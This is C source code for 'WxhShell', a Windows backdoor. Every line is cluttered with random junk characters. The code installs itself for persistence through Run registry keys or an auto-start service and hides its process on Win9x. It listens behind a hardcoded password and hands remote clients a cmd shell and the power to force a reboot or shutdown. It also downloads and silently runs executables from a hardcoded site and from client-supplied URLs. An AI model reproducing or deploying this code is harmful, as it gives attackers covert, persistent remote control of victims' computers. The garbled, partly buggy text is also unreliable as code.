  // 关机 #W\}v(Ke  
  case 'd': { ;i@S}LwL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Yf0 KG  
    if(Boot(SHUTDOWN)) }[+uHR6L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Rd`"]Mnfb  
    else { U`v2Yw3E  
    closesocket(wsh); <Iw{fj|  
    ExitThread(0); k 9i W1  
    } :EX>Y<`]  
    break; fWHvVyQ.  
    } d$IROZK-D  
  // 获取shell H'A N osv  
  case 's': { Emlj,c<?j  
    CmdShell(wsh); *)m:u:   
    closesocket(wsh); GRZz@bAO?$  
    ExitThread(0); \`Hp/D1  
    break; ?N kKDvv  
  } Ny^ 1#R  
  // 退出 !73y(Y%TE  
  case 'x': { *g5bdQ:Av~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); & ALnE:F  
    CloseIt(wsh); OG$n C  
    break;  "'4  
    } j6%W+;{/pj  
  // 离开 Q-x>yau"  
  case 'q': { EN m%(G$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^s~)"2 g  
    closesocket(wsh); "GMU~594  
    WSACleanup(); ZP"; B^J  
    exit(1); Ow 0>qzTg  
    break; Yp\n=#$[  
        } 'LgRdtO6  
  } A6(Do]M  
  } qbyYNlXqm  
\'|n.1Fr  
  // 提示信息 p)biOG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {-A|f  
} $dM_uSt  
  } i{$-[*WHiV  
[f+wP|NKL  
  return; K0w}l" )A  
} =O}I{dNKZV  
S:1[CNL;  
// shell模块句柄 CPB{eQeDuv  
int CmdShell(SOCKET sock) Es>' N3A z  
{ [,;Y5#Y[5  
STARTUPINFO si; oh5'Isb$  
ZeroMemory(&si,sizeof(si)); 7hJX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yaz6?,)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CL0 lMZ  
PROCESS_INFORMATION ProcessInfo; -A#p22D,5  
char cmdline[]="cmd"; kcS7)"/ zC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i1evB9FZ1z  
  return 0; ?LMQz=  
} y._'o7%  
dD,}i$  
// 自身启动模式 UL[,A+X8D  
int StartFromService(void) j]Gn\QF  
{ !Z_+H<fi+I  
typedef struct e!6yxL*[@[  
{ !wp1Df[  
  DWORD ExitStatus; =$OGHc  
  DWORD PebBaseAddress; suEK;Bk9  
  DWORD AffinityMask; bM?gAY]mB8  
  DWORD BasePriority; 7O1MC 8{  
  ULONG UniqueProcessId; 8N&' n  
  ULONG InheritedFromUniqueProcessId; oAO{4xP  
}   PROCESS_BASIC_INFORMATION; XG|N$~N+2  
} =OE.cf@  
PROCNTQSIP NtQueryInformationProcess; V]|X ,G  
y:)^*2GA-B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; * JK0X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]:e_Y,@  
S]3CRJU3`  
  HANDLE             hProcess; ]bds~OY5 U  
  PROCESS_BASIC_INFORMATION pbi;  l"ms:v  
B[8bkFS>]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \'~ E%=Q  
  if(NULL == hInst ) return 0; q7 PCMe  
^N7H~CT"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k;\gYb%L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *)K\&h<{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1L,L/sOwB&  
R-%6v2;ry  
  if (!NtQueryInformationProcess) return 0; $0$sM/%  
!Cgj >=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); um%_kX  
  if(!hProcess) return 0; 5L3+KkX@  
^PEw#.WG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "Z&.m..gc  
.B]l@E-u  
  CloseHandle(hProcess); "t^v;?4  
W>#yXg9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gqS9{K(f  
if(hProcess==NULL) return 0; g}MUfl-L  
"Not /8J  
HMODULE hMod; nI6 gd%C  
char procName[255]; ~| j  eNT  
unsigned long cbNeeded; Q:b0M11QR  
qfsPX6]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z}E_ wg  
P<g(i 6]  
  CloseHandle(hProcess); }{R*pmv$bN  
=}Tm8b0  
if(strstr(procName,"services")) return 1; // 以服务启动 sD3ZZcy|=  
X&9: ^$m  
  return 0; // 注册表启动 v+LJx    
} 9gg{i6  
m!7%5=Fc  
// 主模块 \Kf\%Q  
int StartWxhshell(LPSTR lpCmdLine) JpS}X\]i  
{ JP4DV=}L  
  SOCKET wsl; AW5iwq6p  
BOOL val=TRUE; ET.jjV  
  int port=0; MZGhN brd  
  struct sockaddr_in door; l 5-[a  
!<M eWo  
  if(wscfg.ws_autoins) Install(); )JzY%a SP  
;M?)-dpZ  
port=atoi(lpCmdLine); 2 GRI<M  
Ay(p~U;gN*  
if(port<=0) port=wscfg.ws_port; CM?:\$ 4  
AJ7w_'u=@  
  WSADATA data; %)j&/QdzF&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?4':~;~  
CyIlv0fd}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FMdu30JV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 529b. |  
  door.sin_family = AF_INET; =Pv_,%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~ *&\5rPb  
  door.sin_port = htons(port); `#$}P;W  
7IxeSxXH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s#Dj>Fej  
closesocket(wsl); {<yapBMw  
return 1; ZR!8hw8  
} 7I;kh`H$(f  
8 #4K@nm5  
  if(listen(wsl,2) == INVALID_SOCKET) { *$=i1w  
closesocket(wsl); LwB1~fF  
return 1; mGE!,!s}  
} cK'g2S  
  Wxhshell(wsl); !Ubm 586!  
  WSACleanup(); g,d_  
2iNLm6"  
return 0; W{;Qi&^ca  
(p2`ofj  
} :u4|6?  
@6UtnX'd  
// 以NT服务方式启动 a/ A c^!(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ko@ej^  
{ L"ho|v9:  
DWORD   status = 0; MtJ-pa~n  
  DWORD   specificError = 0xfffffff; :{a< ~n`  
pyhXET '  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |mt W)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }r,M (Zr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h:fiUCw  
  serviceStatus.dwWin32ExitCode     = 0; [e><^R*u  
  serviceStatus.dwServiceSpecificExitCode = 0; 9d"*Z%!j  
  serviceStatus.dwCheckPoint       = 0; JX0M3|I=  
  serviceStatus.dwWaitHint       = 0; ox&5} &\  
3%*igpj\)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +@ChZ  
  if (hServiceStatusHandle==0) return; %"`p&aE:  
jt}Re,  
status = GetLastError(); xJ3C^b%H  
  if (status!=NO_ERROR) FQ>$Ps*a[  
{ !R@LC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gC?}1]9c  
    serviceStatus.dwCheckPoint       = 0; CE3l_[c  
    serviceStatus.dwWaitHint       = 0; O&?i#@5#  
    serviceStatus.dwWin32ExitCode     = status; O?OAXPK2  
    serviceStatus.dwServiceSpecificExitCode = specificError; jq H)o2"/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hJM& rM7  
    return; L62'Amml  
  } htB7 j(  
+;W%v7 %<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Gj?Zbl <  
  serviceStatus.dwCheckPoint       = 0; =n,;S W  
  serviceStatus.dwWaitHint       = 0; llZU: bs  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {($bz T7c  
} {L;sF=d  
%* 0GEfl/  
// 处理NT服务事件,比如:启动、停止 v\@qMaPY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5[;[Te9=S  
{ fAJyD`]Z  
switch(fdwControl) Kxr{Nx  
{ w Q[|D2;  
case SERVICE_CONTROL_STOP: g !^N#o  
  serviceStatus.dwWin32ExitCode = 0; 65aYH4"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d>f;N+O%  
  serviceStatus.dwCheckPoint   = 0; /<-PW9X?  
  serviceStatus.dwWaitHint     = 0; !*v% s  
  { OH@"]Nc~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 44e]sT.B  
  } k^}[+IFJ  
  return; -f|/#1  
case SERVICE_CONTROL_PAUSE: SNqSp.>-U"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'bx}[  
  break; <PSz`)SN  
case SERVICE_CONTROL_CONTINUE: Lc~m`=B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x/<ow4C  
  break; mW{;$@PLF"  
case SERVICE_CONTROL_INTERROGATE: GXZ="3W |  
  break; Qm[((6}  
}; i$y=tJehi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QD.5o S  
} =OK#5r[UV  
k5< n:dS  
// 标准应用程序主函数 -o+t&m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P' VHga  
{ }tt%J[  
1 fcV&qHR  
// 获取操作系统版本 l-w4E"n3  
OsIsNt=GetOsVer(); bbjba36RO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JM;bNW8  
eP~3m  
  // 从命令行安装 | va@&;#wf  
  if(strpbrk(lpCmdLine,"iI")) Install(); )#AYb   
jN+`V)p  
  // 下载执行文件 ).kU7;0  
if(wscfg.ws_downexe) { x[t?hl=:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O ?T~>|  
  WinExec(wscfg.ws_filenam,SW_HIDE); Gxd/t#;  
} `&NFl'l1C  
XI`_PQco  
if(!OsIsNt) { Kvg=7o  
// 如果时win9x,隐藏进程并且设置为注册表启动 \];|$FQg  
HideProc(); ?`TJ0("z"  
StartWxhshell(lpCmdLine); c&T5C, ]  
} DAq H  
else #N`'hPD}  
  if(StartFromService()) ]MYbx)v)  
  // 以服务方式启动 bpsyO>lx/  
  StartServiceCtrlDispatcher(DispatchTable); G5qsnTxUJ  
else Lx- %y'P  
  // 普通方式启动 8nI~iN?"   
  StartWxhshell(lpCmdLine); MLr L"I"  
.g/!u(iy  
return 0; VQ!4( <XD  
} m LajiZ Bf  
o2(w  
AkW,Fp1e  
-v9(43  
=========================================== :G#%+,  
Y#lAG@$  
X)SUFhP\  
eQQVfEvS  
8GxT!  
0 iSNom}m  
" ub 2'|CYw  
[%>*P~6nK  
#include <stdio.h> q"Bd-?9  
#include <string.h> @d Qr^'h  
#include <windows.h> 3wN4kltt  
#include <winsock2.h> CH+%q+I  
#include <winsvc.h> TJP;!uX  
#include <urlmon.h> 7h9oY<W  
T2-x1Sw_  
#pragma comment (lib, "Ws2_32.lib") 6iQqOAG  
#pragma comment (lib, "urlmon.lib") fXevr `  
h`fZ 8|yw  
#define MAX_USER   100 // 最大客户端连接数 "Io-%S u+  
#define BUF_SOCK   200 // sock buffer 3Dc^lfn  
#define KEY_BUFF   255 // 输入 buffer  ~@@t-QY  
F@/syX;bb5  
#define REBOOT     0   // 重启 -T+yS BO_3  
#define SHUTDOWN   1   // 关机 J>dj]1I  
e77s?WxbK  
#define DEF_PORT   5000 // 监听端口 Ew}GPJ  
H?opG<R=ek  
#define REG_LEN     16   // 注册表键长度 fx 08>r   
#define SVC_LEN     80   // NT服务名长度 L,_U co  
I-.? qcy~  
// 从dll定义API gu3)HCZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P9\y~W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  qjfv9sU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^ &KH|qRrO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R7Tl 1!,h  
fo}@B &=4  
// wxhshell配置信息 JBQ>"X^  
struct WSCFG { j5Yli6r?3-  
  int ws_port;         // 监听端口 ^?%ThPo_  
  char ws_passstr[REG_LEN]; // 口令 <\:*cET3  
  int ws_autoins;       // 安装标记, 1=yes 0=no PmId #2f  
  char ws_regname[REG_LEN]; // 注册表键名 a[^dK-  
  char ws_svcname[REG_LEN]; // 服务名 F`Vp   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0wBr_b!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zh !/24p9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JmF`5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J!rZs kd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -'W:P'BG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7({.kD6  
$o\U q  
}; ^<yM0'0t  
XSZjuQ<[3  
// default Wxhshell configuration :\#]uDT2=  
struct WSCFG wscfg={DEF_PORT, [\HAJA,  
    "xuhuanlingzhe", IsL=DV/  
    1, r~;.8qs  
    "Wxhshell", jaThS!>v  
    "Wxhshell", t[%=[pJHW  
            "WxhShell Service", QL(}k)dB  
    "Wrsky Windows CmdShell Service", `).;W  
    "Please Input Your Password: ", :?%_JM5U  
  1, >fR#U"KPAB  
  "http://www.wrsky.com/wxhshell.exe", b=Sl`&A  
  "Wxhshell.exe" mR{%f?B  
    }; d@|j>Z  
'9wD+'c=A  
// 消息定义模块 s|!b: Ms`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >|T?87  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =7P; /EV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /=OSGIJzm  
char *msg_ws_ext="\n\rExit."; b!37:V\#}  
char *msg_ws_end="\n\rQuit."; G[yN*C  
char *msg_ws_boot="\n\rReboot..."; Dc> )js|"  
char *msg_ws_poff="\n\rShutdown..."; r52,f%nlm  
char *msg_ws_down="\n\rSave to "; uP ?gGo  
\;tKss!|  
char *msg_ws_err="\n\rErr!"; qpc2;3*7  
char *msg_ws_ok="\n\rOK!"; S4~;bsSx  
tX *L_  
char ExeFile[MAX_PATH]; CtDS lJ  
int nUser = 0; PzTTL=G +  
HANDLE handles[MAX_USER]; dR /UXzrc  
int OsIsNt; sXC]{] P  
ZsPBs4<p  
SERVICE_STATUS       serviceStatus; 4sK|l|W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NU/~E"^I.  
1[`l`Truz  
// 函数声明 b_Ky@kp  
int Install(void); eEe8T=mD  
int Uninstall(void); ]i]sgg[  
int DownloadFile(char *sURL, SOCKET wsh); [76mgj!K  
int Boot(int flag); f{Y|FjPp=E  
void HideProc(void); cl7+DAE  
int GetOsVer(void); *t|j+*c}  
int Wxhshell(SOCKET wsl); .'AHIR&>  
void TalkWithClient(void *cs); "/XS3s v"s  
int CmdShell(SOCKET sock); e]X9"sd0=  
int StartFromService(void); j'0*|f^z  
int StartWxhshell(LPSTR lpCmdLine); /0YNB)  
vDOeBw=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IO_H%/v"jC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XY QUU0R  
<ct{D|mm  
// 数据结构和表定义 U14dQ=~b/  
SERVICE_TABLE_ENTRY DispatchTable[] = Z*e7W O.  
{ t@19a6:Co  
{wscfg.ws_svcname, NTServiceMain}, 7iJk0L$]x  
{NULL, NULL} .r*b+rc;]  
}; U ._1'pW  
=yNHJHRA#  
// 自我安装 't_=%^ q  
int Install(void) c!\y\r  
{ $BBfsaJPT  
  char svExeFile[MAX_PATH]; ptq{$Y{_  
  HKEY key; u]MF r2  
  strcpy(svExeFile,ExeFile); G7/LYTT)  
x}>tX  
// 如果是win9x系统,修改注册表设为自启动 u!`C:C'  
if(!OsIsNt) { ]R>k0X.V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b~1p.J4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IKr7"`  
  RegCloseKey(key); !<6wrOMaO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +m7 x>ie)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6$dm-BI  
  RegCloseKey(key); $-AvH( @  
  return 0; f"0H9  
    } Y@\5gZ&T  
  } =,]J"n8|v  
} -MEz`7c~  
else { G =4y!y  
Sf'5/9<DW+  
// 如果是NT以上系统,安装为系统服务 w+$gY?%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q(p0#Mk,E  
if (schSCManager!=0) eB@i)w?@o  
{ =K>Z{% i  
  SC_HANDLE schService = CreateService y?@Y\ b  
  ( aC$g(>xFt  
  schSCManager, B+DRe 8  
  wscfg.ws_svcname, 835Upj>  
  wscfg.ws_svcdisp, CGe'z  
  SERVICE_ALL_ACCESS, p+7BsW.l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !^fJAtCN]  
  SERVICE_AUTO_START, ;VFr5.*x  
  SERVICE_ERROR_NORMAL, lqCn5|S]  
  svExeFile, EXFxiw  
  NULL, rYS D-Kq  
  NULL, *f#4S_ws`  
  NULL, q |^O  
  NULL, 0amz#VIB<u  
  NULL @YB\ PVhW  
  ); k51s*U6=  
  if (schService!=0) O({_x@  
  { jgo@~,5R  
  CloseServiceHandle(schService); -9*WQU9R  
  CloseServiceHandle(schSCManager); l9ihW^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @ty|HXW  
  strcat(svExeFile,wscfg.ws_svcname); Z =c@Gd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EDQJ>c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r"[T9  
  RegCloseKey(key); nm-Y?!J  
  return 0; |YFD|  
    } G!;[If :<e  
  } u .=;A#  
  CloseServiceHandle(schSCManager); J| '(;Ay4u  
} e d*AU,^@v  
} X[~CLKH(  
g[jZ A[[  
return 1; V6{xX0'b*m  
} =|%T E   
W7o/  
// 自我卸载 qU n>  
int Uninstall(void) ui{_w @o  
{ {LD8ie|x1`  
  HKEY key; y4L9Cxvs  
NFc8"7Mz}  
if(!OsIsNt) { a !K;8#xc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A,e^bM  
  RegDeleteValue(key,wscfg.ws_regname); _MEv*Q@o  
  RegCloseKey(key); %S#"pKE6 R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L>b,}w  
  RegDeleteValue(key,wscfg.ws_regname); EG.C2]Fi  
  RegCloseKey(key); R7{hoqI2  
  return 0; \IfgL$+  
  } .Cus t  
} \8D~,$,``|  
} UG_0Y8$  
else { k>CtWV5B  
3Q}Y?rkJ5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *$$V, 6O.  
if (schSCManager!=0) >[@d&28b%  
{ pb Ie)nK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o?FUVK  
  if (schService!=0) @GtZK  
  { (d#Z-w-  
  if(DeleteService(schService)!=0) { SXz([Z{)  
  CloseServiceHandle(schService); }aM`Jp-O  
  CloseServiceHandle(schSCManager); w0Y%}7  
  return 0; wS0bk<(  
  } ?&m]du#6  
  CloseServiceHandle(schService); \Agg6tY r  
  }  vB*oI~<  
  CloseServiceHandle(schSCManager); 8!6*|!,:?n  
} hob$eWgr  
} n5/Tn7hY  
3raA^d3!?  
return 1; ^b %8_?2m  
} J"%}t\Q  
hY 2PV7"[;  
// 从指定url下载文件  ]:fCyIE  
int DownloadFile(char *sURL, SOCKET wsh) & }}WP:U  
{ lh_zZ!)g  
  HRESULT hr; 30E v"  
char seps[]= "/"; 34Khg  
char *token; ~{G: ,|`  
char *file; vqi$}=%n?W  
char myURL[MAX_PATH]; \=_q{  
char myFILE[MAX_PATH]; u g"<\"  
H;|:r[d!  
strcpy(myURL,sURL); |uBC0f  
  token=strtok(myURL,seps); 3og$'#6P  
  while(token!=NULL) ( v:ek_  
  { X", 0VO  
    file=token; f94jMzH9z  
  token=strtok(NULL,seps); H<}eoU.  
  } c@7hLUaE2  
O f@#VZ  
GetCurrentDirectory(MAX_PATH,myFILE); {dXBXC/Ju  
strcat(myFILE, "\\"); '\B"g@if  
strcat(myFILE, file); "nno)~)u  
  send(wsh,myFILE,strlen(myFILE),0); b|o!&9Yyr  
send(wsh,"...",3,0); TeCpT2!5j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .<^Y E%  
  if(hr==S_OK) /'fDXSdP  
return 0; f\U&M,L\ '  
else @[lc0_ b  
return 1; 7O{O')o!  
AWXpA1(  
} ?lN8~Ze  
M2Fj)w2   
// 系统电源模块 '#PqI)P  
int Boot(int flag) wKS-O%?  
{ gam#6 s  
  HANDLE hToken; %`1CE\f  
  TOKEN_PRIVILEGES tkp; 2 RUR=%C  
`Uj?PcS_  
  if(OsIsNt) { ##FNq#F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yPh2P5}H>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S/<"RfVU#o  
    tkp.PrivilegeCount = 1; hdJwNmEA>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'F"Y?y:!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RrdtU7i3  
if(flag==REBOOT) { L"!ZY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xTFrrmxOf  
  return 0; tK}p05nPhl  
} k+#l;<\2  
else { 5vX 8mPR_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6y,P4O*q  
  return 0; _s^:zPl  
}  L|lmStwe  
  } qJXsf M6  
  else { #t2UPLO~  
if(flag==REBOOT) { ]ZzG!7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q6JW@GT  
  return 0; Xu94v{u3  
} DwY<qNWT  
else { X0Z-1bs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -F+P;S  
  return 0; O0wCb  
} ?t0zsq  
} ;s\;78`0  
-N7L #a  
return 1; 3R%UPT0>  
} "G9'm  
) Zb`~w  
// win9x进程隐藏模块 f./m7TZ  
void HideProc(void) omv6_DdZ  
{ hQ}7Z&O  
c\)&yGE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cP@F #!2  
  if ( hKernel != NULL ) PL9eUy  
  { >[H&k8\7n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n^pZXb;Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A?IZ( Zx(`  
    FreeLibrary(hKernel); leES YSY:  
  } ke9QT#~p!-  
Fb|e]?w  
return; :x""E5H  
} &H4uvJ_<  
?)mhJ/IT  
// 获取操作系统版本 _@/C~  
int GetOsVer(void) :\+{;;a@  
{ O/Y\ps3r  
  OSVERSIONINFO winfo; C?60`^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X(y  
  GetVersionEx(&winfo); YF! &*6m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =qp}p'BYe  
  return 1; lQdnL.w$.4  
  else 6/mkJj+"  
  return 0; |ON&._`LH  
} i,'Ka[6   
O| 1f^_S/  
// 客户端句柄模块 ^s2m\Q(  
int Wxhshell(SOCKET wsl) _[TH@fO6:  
{ 'o/N}E!Pt  
  SOCKET wsh; [EmOA.6  
  struct sockaddr_in client; 1J-Qh<Q   
  DWORD myID; C '-zh\a  
OHHNWg_5  
  while(nUser<MAX_USER) aI={,\  
{ pG!(6V-x<E  
  int nSize=sizeof(client); ,yk PQzO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T,WKo B  
  if(wsh==INVALID_SOCKET) return 1; bvip bf[m<  
nxyjL)!)0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \m=-8KpU  
if(handles[nUser]==0) 8 _4l"v p  
  closesocket(wsh); 8 )mjy!,  
else -7I1Lh#M  
  nUser++; F<yy>Wf  
  } q}<.x8\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1iNsX\M  
oNuPP5d[]  
  return 0; C{UF~  
} PG6[lHmi  
X(GmiH /E  
// 关闭 socket Mhe |eD#)  
void CloseIt(SOCKET wsh) (!ZQ  
{ Ig1lol:;  
closesocket(wsh); <H5n>3#pH  
nUser--; |jahpji6  
ExitThread(0); !Tn0M;  
} l_c^ .D  
"WYA  
// 客户端请求句柄 y@o9~?M  
void TalkWithClient(void *cs) <$jKy3@  
{ ; .ysCF  
Pgn_9Y?<  
  SOCKET wsh=(SOCKET)cs; x?,~TC4  
  char pwd[SVC_LEN]; RDs,sj/Y9?  
  char cmd[KEY_BUFF]; Y&vHOA  
char chr[1]; mb0n}I_AC  
int i,j; Ky[bX  
kqVg2#<@M  
  while (nUser < MAX_USER) { [3j$ 4rP  
[ 8F \;  
if(wscfg.ws_passstr) { LkJ$aW/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M`0(!Q}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]u rK$   
  //ZeroMemory(pwd,KEY_BUFF); 2#z=z d  
      i=0; ";PG%_(  
  while(i<SVC_LEN) { AH&9Nye8  
>j50 ;</  
  // 设置超时 |Du,UY/  
  fd_set FdRead; >vlQ|/C  
  struct timeval TimeOut; ?. zu2  
  FD_ZERO(&FdRead); RVc)") hQj  
  FD_SET(wsh,&FdRead);  9t{|_G  
  TimeOut.tv_sec=8; 0jR){G9+  
  TimeOut.tv_usec=0; T>#TDMU#Fm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w$gS j/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +w "XNl  
=m`l%V[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JAc@S20v\  
  pwd=chr[0]; .Qd}.EG  
  if(chr[0]==0xd || chr[0]==0xa) { R{*_1cyW  
  pwd=0; p{NPcT%&  
  break; ^DBD63 N"  
  } ("_Q  
  i++; !xkj30O(G  
    } EVR! @6@  
sf Dg/ a  
  // 如果是非法用户,关闭 socket &&;ex9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d,)}+G  
} [ZuVUOm  
AK6=Ydu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?E % +}P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <u0*"  
8)N0S% B  
while(1) { G9\EZ\x!  
'.pgXsC:=?  
  ZeroMemory(cmd,KEY_BUFF); D899gGe  
KzV.+f  
      // 自动支持客户端 telnet标准   FyCBN tCv  
  j=0; YVoao#!  
  while(j<KEY_BUFF) { [ L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p` $fTgm  
  cmd[j]=chr[0]; Iq+2mQi*/k  
  if(chr[0]==0xa || chr[0]==0xd) { I?^aCnU  
  cmd[j]=0; &a.']!$^"  
  break; !?jK1{E3  
  } +<&E3Or  
  j++; nt7|f,_J  
    } ;:P7}v fz!  
d>Un J)V}  
  // 下载文件 R0{Qy*YQ`  
  if(strstr(cmd,"http://")) { !6lOIgn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ze&#i6S  
  if(DownloadFile(cmd,wsh)) pg+b[7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '?5S"??  
  else Qe_+r(3)k  
